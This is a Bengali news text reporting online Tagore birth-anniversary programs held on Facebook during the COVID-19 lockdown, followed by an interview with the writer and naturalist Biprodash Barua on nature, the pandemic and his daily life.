অন্যদিকে বাংলাদেশ উদীচী শিল্পী গোষ্ঠী ও ক্যালকাটা কয়্যার যৌথভাবে সকাল ১০টা-১২টা পর্যন্ত দুই ঘণ্টার অনুষ্ঠান করে ফেসবুক লাইভে। এতে পরিবেশিত হয় সংগীত, নৃত্য, কবিতা। ফেসবুকে লাইভ অনুষ্ঠানের আয়োজন করে থিয়েটার পত্রিকা ‘ক্ষ্যাপা’। তিনটি পর্বে রবীন্দ্র জয়ন্তীর অনুষ্ঠান করে তারা। এতে বিকেল ৪টায় আলাপনে অংশ নেন নাট্যব্যক্তিত্ব আতাউর রহমান। পরে রাত ৯টায় শিশুদের জন্য বিশেষ আয়োজনে পাপেট পরিবেশন করবেন নওশাবা আহমেদ ও তার দল ‘টুগেদার উই ক্যান’। সবশেষে রাত সাড়ে ১০টায় গান ও পাঠ অভিনয়ে অংশ নেন গুণী অভিনয়শিল্পী অপি করিম ও নন্দিত সংগীতশিল্পী ফারহিন খান জয়ীতা। ক্ষ্যাপার ফেসবুক পেইজ থেকে আড্ডাটি সরাসরি সম্প্রচার হয়।
বিশ্বকবি রবীন্দ্রনাথ ঠাকুরের জন্মবার্ষিকী উপলক্ষে বিশেষ আলোচনা অনুষ্ঠানের আয়োজন করেছে বাংলাদেশে নিযুক্ত ভারতীয় হাইকমিশনের ইন্দিরা গান্ধী কালচারাল সেন্টার (আইজিসিসি)। বৈশ্বিক করোনা ভাইরাস পরিস্থিতির কারণে এই আয়োজনটিও আইজিসিসি’র সামাজিক যোগাযোগ মাধ্যম ফেসবুকের পেইজে সম্প্রচার করা হয়। রবীন্দ্রজয়ন্তী উপলক্ষে ‘ট্রিবিউট টু রবীন্দ্রনাথ ট্যাগোর: এ রে অব হোপ থট ট্যাগোরস ফিলোসফি’ শীর্ষক অনুষ্ঠানের আয়োজন করছে আইজিসিসি। অনুষ্ঠানটি গতকাল শুক্রবার সন্ধ্যা সাড়ে সাতটায় আইজিসিসি’র ফেসবুক পেজে সম্প্রচার করা হয়। এই আয়োজনে অতিথি হিসেবে ছিলেন বাংলাদেশের রবীন্দ্র বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিশ্বজিৎ ঘোষ, ভারতের শান্তিনিকেতনের বিশ্বভারতী বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিদ্যুৎ চক্রবর্তী, বিশিষ্ট শিক্ষাবিদ, লেখক এবং অনুবাদক অধ্যাপক ফখরুল আলম এবং ভারতের অনুবাদক ও গবেষক অধ্যাপক রাধা চক্রবর্তী। এছাড়া অনুষ্ঠানে আরো উপস্থিত ছিলেন ইন্ডিয়ান কাউন্সিল ফর কালচারাল রিলেশনসের (আইসিসিআর) সভাপতি ড. বিনয় সহস্রবুদ্ধি। অনুষ্ঠানের শুরুতে স্বাগত বক্তব্য দেন বাংলাদেশে নিযুক্ত ভারতীয় হাইকমিশনার ড. রীভা গাঙ্গুলি দাশ।
নাট্যসংগঠন বটতলা আয়োজন করে গল্প, কথা ও কবিতায় আমাদের কবিগুরু রবীন্দ্রনাথ শীর্ষক অনুষ্ঠান। এতে অংশ নেয় শব্দপাপড়ি একাডেমি ও ফাইন আর্টসের শিশু-কিশোরেরা। বটতলার ফেসবুক পেইজে অনুষ্ঠানটি দেখা যায়। আবৃত্তি সংগঠন হরবোলা ৭-৯ মে, তিন দিনের অনুষ্ঠান সাজিয়েছে। এতে বাংলাদেশ ও ভারতের আবৃত্তি শিল্পীরা আবৃত্তি পরিবেশন করছেন।
]]>বিশেষ সাক্ষাৎকার
বিপ্রদাশ বড়ুয়া
সাহিত্যিক ও নিসর্গী
বিপ্রদাশ বড়ুয়া। একজন নিসর্গী। বাংলার চারণ-সাহিত্যিক। প্রকৃতির টানে তিনি ঘুরে বেড়ান দেশময়। ভালোবাসেন দেশের মাটি, মানুষের কাছে যেতে। নিবিড় পর্যবেক্ষণ করেন নিসর্গ-প্রকৃতি, পাখি ও জীব-জগত আর মানুষ। ব্যক্তিমানুষ, সামাজিক সত্তা, তার জীবনযাত্রা, হর্ষ, আনন্দ, বিষাদ সব মিলিয়েই তার সংগ্রাম, সংগ্রাম প্রকৃতি রক্ষার। বাংলা সাহিত্যের সঙ্গে তার পথচলার গল্পটা যেন অনেকদিনের! চট্টগ্রামের ইছামতি গ্রাম থেকে উঠে আসা এই মানুষটির কাছ থেকে বাংলা সাহিত্য এখন পর্যন্ত পেয়েছে ১৪০টিরও বেশি অমূল্য সম্পদ। ভ্রমণ, গবেষণা, গল্প, উপন্যাস ও প্রকৃতিবিষয়ক প্রায় ১৪০টি বই লিখেছেন। এই বহুমাত্রিক লেখকের করোনাকাল কেমন কাটছে ভোরের কাগজের এমন এক প্রশ্নের জবাবে তিনি বলেন, আমি এখন গৃহবন্দি। আয়েশ করে লিখছি পড়ছি। এর মধ্যে ‘প্রকৃতিও প্রতিশোধপরায়ণ’-এ নামে একটা গল্পও লিখলাম। লিখতে গিয়ে মনে হলো মানুষের সবকিছু তো নিয়ন্ত্রণ করছে প্রকৃতি। আগে বন জঙ্গলে থাকত মানুষ। সেখান থেকে এখন ঘরবাড়ি করেছে, দালান কোঠা করেছে, প্রতিবেশী গড়েছে প্রকৃতির সঙ্গে। আর এখন যত পারছি সেই প্রকৃতিকে আমরা মারছি। মারতে গিয়ে প্রকৃতি প্রতিশোধপরায়ণ হয়ে উঠেছে।
আপনার কি মনে হচ্ছে প্রকৃতিকে মানুষই রাগিয়ে দেয়ার কারণে প্রতিশোধপরায়ণ হয়ে উঠেছে? এর জবাবে এই নিসর্গী বলেন, অবশ্যই। করোনা ভাইরাস এতদিন লুকিয়েছিল সবার অন্তরালে। এলো কি করে? বন জঙ্গল থেকে বাদুরের মাধ্যমে মানুষই নিয়ে এসেছে। আমরা নদীকে বাঁধ দিচ্ছি। বাধ কি রাখতে পেরেছি? প্রকৃতি হচ্ছে আমাদের অংশ। প্রকৃতির সমস্ত কিছু আমরা উপভোগ করছি। চাষবাস থেকে শুরু করে সবই করছি। অথচ আমরা পৃথিবী বাসের অযোগ্য করে ফেলেছি। অথচ প্রকৃতি ছাড়া আমাদের বাঁচা সম্ভব নয়। কোনো অবস্থাতেই নয়। যে কারণে করোনা মহামারি এসেছে। এখন অন্য গ্রহেই আমাদের বাড়ি করা দরকার। নয়তো প্রকৃতির সঙ্গে মানুষের বন্ধুত্ব করা দরকার। বন্ধুত্ব করেই প্রকৃতির সঙ্গে সহবাস করা দরকার। বন্ধু হিসেবে তার কি চাহিদা তা কী ইচ্ছা মানুষকে তা-ই খুঁজে বের করতে হবে। নইলে প্রকৃতির রুদ্ররোষ দেখাবে। সামুদ্রিক ঝড় আসবে, দাবানল আসবে। এ সমস্ত কিছুর পেছনে প্রকৃতির সঙ্গে আমরা সহবাস না রূঢ় আচরণ করছি। আগে তো প্রকৃতি এমন ছিল না। তাই সামঞ্জস্যতা রেখে পরস্পর নির্ভরশীলতা থাকতে হবে। কারণ প্রকৃতি ছাড়া মানুষের পক্ষে বেঁচে থাকা সম্ভব নয়। অথচ প্রকৃতিকে ভালো না বেসে আমরা তাকে বশে আনতে চাই। মানুষ যদি তাকে বেঁচে থাকায় বাধা দেয়, সে প্রতিশোধপরায়ণ হয়ে ওঠে। তাকে মায়ের মতো সমীহ ও ভালোবাসা, বোনের মতো আদর-সোহাগ মানুষ যদি না দেয় এবং সহিষ্ণু না হয় তা হলে করোনার চেয়ে ভয়ঙ্কর ভাইরাস আসবে।
তিনি বলেন, প্রকৃতির ওপর গায়ের জোরে প্রভুত্ব করতে গিয়ে মানুষ তার ভুল বুঝতে পেরেছে মাত্র কিছুকাল আগে। এজন্য চতুর মানুষ এখন প্রকৃতির সঙ্গে বন্ধুর মতো আচরণ শুরু করেছে। তিনি বলেন, আজকের মানুষ কৃষিজ ফসলের অচ্ছেদ্য অংশ নদী-খাল-বিল-পুকুর অবিবেচকের মতো শাসন করছে। অথচ সুপ্রাচীন কাল থেকে মানুষ জেনে গেছে নদী তাদের পরম বন্ধু, সভ্যতার অচ্ছেদ্য সঙ্গী। পৃথিবীর সব আদি সভ্যতা নদীকেন্দ্রিক। প্রাচীন কাল থেকে তাই মানুষ নদীর নাব্যতা নিয়ে চিন্তা করেছে। আস্তে আস্তে প্রাকৃতিকভাবে নদী নাব্য হারাতে বসলে বা গতি পরিবর্তন করতে থাকলে মানুষ গভীরভাবে লক্ষ্য করেছে।
বিশিষ্ট এই লেখক বলেন, দুঃখ-দারিদ্র্য-হতাশার কথা ভাবতে ভাবতে আমাদের চিন্তায়ও এক ধরনের নেতিবাচক প্রভাব ফেলতে শুরু করছে। এর থেকে উত্তরণের জন্য গাছপালার সৌন্দর্য ও সুষমার কাছে আমি আশ্রয় খুঁজি। ক্ষোভ প্রকাশ করে বিশিষ্ট এই সাহিত্যিক আরো বলেন, আমাদের দেশে সেলুন বা শপিংমল শীতাতপ নিয়ন্ত্রিত। কিন্তু কোনো একটি ওষুধের দোকান শীতাতপ নিয়ন্ত্রিত নয়। বহু ওষুধ আছে তার গায়ে লেখা আছে ৩৩ ডিগ্রি সেলসিয়াসে রাখতে। ঢাকায় গ্রীষ্মকালে ৩৫ থেকে ৩৮ ডিগ্রি তাপমাত্রা ওঠানামা করে। দেশজুড়ে প্রায় একই অবস্থা। তাহলে অধিকাংশ ওষুধের গুণাগুণ নষ্ট হয়ে যাচ্ছে। আমরা তো বিশ্বাস নিয়ে এসব খাচ্ছি!
করোনার কারণে চেনা পৃথিবীর কতটা বদল ঘটল বলে মনে করেন জানতে চাইলে বিপ্রদাশ বড়ুয়া বলেন, আমূল পরিবর্তন হয়ে গেল আমার দৈনন্দিন জীবন। ভাইরাসের জন্য। ভাইরাস কে এনেছে? মানুষ ছাড়া কে করেছে এসব? অথচ করোনা আসার আগে সকালে রাস্তায় যেতাম হাঁটতে, ছাদে যেতাম, আগে ঘরের দরজায় পত্রিকা দিয়ে যেত। এখন একেবারে গেট লক করে দিয়েছি। গেটের বাইরে গিয়ে পত্রিকা আনতে হচ্ছে। কারণ করোনা মানুষের স্বাধীনতা কেড়ে নিয়েছে।